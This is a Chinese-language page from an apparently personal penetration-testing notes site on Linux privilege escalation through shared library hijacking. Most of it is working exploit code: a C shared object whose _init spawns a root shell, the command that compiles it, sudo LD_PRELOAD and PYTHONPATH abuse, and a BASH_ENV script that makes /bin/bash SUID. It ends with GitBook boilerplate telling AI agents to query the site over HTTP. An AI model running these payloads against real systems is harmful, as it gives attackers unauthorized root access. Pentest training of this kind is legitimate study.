> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/shared-library-hijacking.md).

# 共享库劫持

共享库劫持会滥用动态加载器：当特权二进制文件加载一个缺失、可写或由攻击者控制的共享对象时。恶意 `.so` 可以以加载进程的权限执行代码。

## 方法

* 使用 `ldd`, `strace`，或错误输出，以查找缺失或可写的库。
* 确认库搜索路径，以及特权二进制是否加载了受控对象。
* 编译一个最小的共享对象载荷，并触发特权二进制。

## 快速检查

```bash
ldd <binary>
strace -f <binary> 2>&1 | grep -i open
```

## LD\_PRELOAD 和 LD\_LIBRARY\_PATH

当 sudo 规则保留加载器变量，或特权执行路径允许受控的库搜索路径时，恶意共享对象可以以特权用户身份执行。

创建一个最小的共享库：

```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
    exit(0);
}
```

编译它：

```bash
gcc -fPIC -shared -o /tmp/evil.so /tmp/evil.c -nostartfiles
```

仅在目标执行上下文确实保留或遵守加载器变量时使用：

```bash
sudo LD_PRELOAD=/tmp/evil.so program
LD_LIBRARY_PATH=/tmp program
```

### Sudo 环境变量

检查 sudo 是否保留危险变量：

```bash
sudo -l
```

有趣的 `env_keep` 值包括：

| 变量                | 利用思路                                  |
| ----------------- | ------------------------------------- |
| `LD_PRELOAD`      | 在正常库之前加载恶意共享对象。                       |
| `LD_LIBRARY_PATH` | 将库查找重定向到攻击者控制的路径。                     |
| `PATH`            | 通过攻击者控制的二进制文件强制执行相对命令。                |
| `PYTHONPATH`      | 在由 sudo 运行的 Python 代码中加载恶意 Python 模块。 |
| `PERL5LIB`        | 在由 sudo 运行的 Perl 代码中加载恶意 Perl 模块。     |

### PYTHONPATH 示例

如果某条 sudo 规则运行 Python 并保留 `PYTHONPATH`:

```bash
echo 'import os; os.system("/bin/bash")' > /tmp/evil.py
export PYTHONPATH=/tmp
sudo python -c "import evil"
```

### BASH\_ENV 示例

如果某个特权程序运行 `sh` 以某种方式会加载 `BASH_ENV`，请用受控脚本测试：

```bash
cat > /tmp/script.sh <<'EOF'
chmod +s /bin/bash
EOF
chmod +x /tmp/script.sh
export BASH_ENV=/tmp/script.sh
/path/to/suid_binary
```

<table data-view="cards" data-full-width="false" data-search="false"><thead><tr><th></th><th></th><th></th><th data-hidden data-card-target data-type="content-ref"></th></tr></thead><tbody><tr><td><h3><i class="fa-link" style="color:$primary;">:link:</i></h3></td><td><h4>libwelcome.so 共享库劫持</h4></td><td>用于 Linux 权限提升的共享库劫持（libwelcome.so）笔记，包含枚举步骤、利用示例以及面向报告的验证。</td><td><a href="/pages/d7cfd49a60bd026d8ff0cf691d8869a87e1b09ce">/pages/d7cfd49a60bd026d8ff0cf691d8869a87e1b09ce</a></td></tr></tbody></table>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/privesc/shared-library-hijacking.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
